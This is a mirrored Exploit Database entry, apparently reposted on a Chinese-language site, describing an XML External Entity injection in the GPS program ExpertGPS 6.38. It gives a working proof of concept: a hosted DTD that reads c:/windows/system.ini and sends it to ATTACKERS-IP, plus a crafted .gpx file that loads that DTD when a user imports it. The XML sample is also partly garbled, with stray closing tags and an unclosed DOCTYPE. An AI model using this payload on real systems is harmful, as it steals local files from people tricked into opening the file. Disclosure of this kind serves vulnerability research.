ExpertGPS 6.38 – XML External Entity Injection

Exploit Database
117 阅读

作者： Trent Gordon

日期： 2020-02-07
类别：
- webapps
平台：
- xml
来源：https://www.exploit-db.com/exploits/48026/

100

101

[+] Exploit Title: ExpertGPS 6.38 - XML External Entity Injection

[+] Date: 2019-12-07

[+] Exploit Author: Trent Gordon

[+] Vendor Homepage: https://www.topografix.com/

[+] Software Link: http://download.expertgps.com/SetupExpertGPS.exe

[+] Disclosed at: 7FEB2020

[+] Version: 6.38

[+] Tested on: Windows 10

[+] CVE: N/A

==================

Background:

==================

ExpertGPS 6.38 is GPS software, distributed by TopoGrafix, that is designed to sync with commercial off-the-shelf GPS devices (Garmin, Magellin, etc.) and organize GPS waypoint data.One of the main file formats for saving GPS data is the .gpx format which is based on XML.

==================

Vulnerability:

==================

By having a user import a crafted .gpx file (XML Based GPS data file), it is possible to execute a XXE injection which retrieves local files and exfiltrates them to a remote attacker.

1.)Open ExpertGPS.exe

2.)Select File -> Import Data from Other Programs...

3.)Select the crafted route.gpx file (with listener open on ATTACKERS-IP) and click "Open".

==================

Proof of Concept:

==================

a.) python -m SimpleHTTPServer 9999 (listening on ATTACKERS-IP and hosting payload.dtd)

b.) Hosted "payload.dtd"

<?xml version="1.0" encoding="utf-8" ?>

<!ENTITY % data SYSTEM "file:///c:/windows/system.ini">

<!ENTITY % param1 "<!ENTITY % exfil SYSTEM 'http://ATTACKERS-IP?%data;'>">

c.) Exploited "route.xml"

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE data [

<!ENTITY % sp SYSTEM "http://ATTACKERS-IP:9999/payload.dtd">

%sp;

%param1;

%exfil;

<active_point xmlns="http://www.topografix.com/GPX/Private/TopoGrafix/0/4" lat="38.89767500" lon="-77.03654700">

</active_point>

</extensions>

</metadata>

<name>1600PennsylvaniaAvenuenWashingt</name>

<cmt>1600 Pennsylvania Avenue

Washington</cmt>

<desc>1600 Pennsylvania Avenue

Washington, DC 20500</desc>

<sym>City (Small)</sym>

<type>Address</type>

<label_text>1600 Pennsylvania Avenue

Washington, DC 20500</label_text>

</label>

<gpxx:WaypointExtension>

<gpxx:Address>

<gpxx:StreetAddress>1600 Pennsylvania Avenue</gpxx:StreetAddress>

<gpxx:City>Washington</gpxx:City>

<gpxx:State>DC</gpxx:State>

<gpxx:Country>United States</gpxx:Country>

<gpxx:PostalCode>20500</gpxx:PostalCode>

</gpxx:Address>

</gpxx:WaypointExtension>

<wptx1:WaypointExtension>

<wptx1:Address>

<wptx1:StreetAddress>1600 Pennsylvania Avenue</wptx1:StreetAddress>

<wptx1:City>Washington</wptx1:City>

<wptx1:State>DC</wptx1:State>

<wptx1:Country>United States</wptx1:Country>

<wptx1:PostalCode>20500</wptx1:PostalCode>

</wptx1:Address>

</wptx1:WaypointExtension>

</extensions>

</wpt>

</extensions>

</gpx>

==================

Additional Attack Vectors:

==================

There are numerous places in the software that allow for importing/opening a .gpx file.I did not test them all, but I strongly suspect them to all rely upon the same misconfigured XML Parser, and therefore be vulnerable to XXE.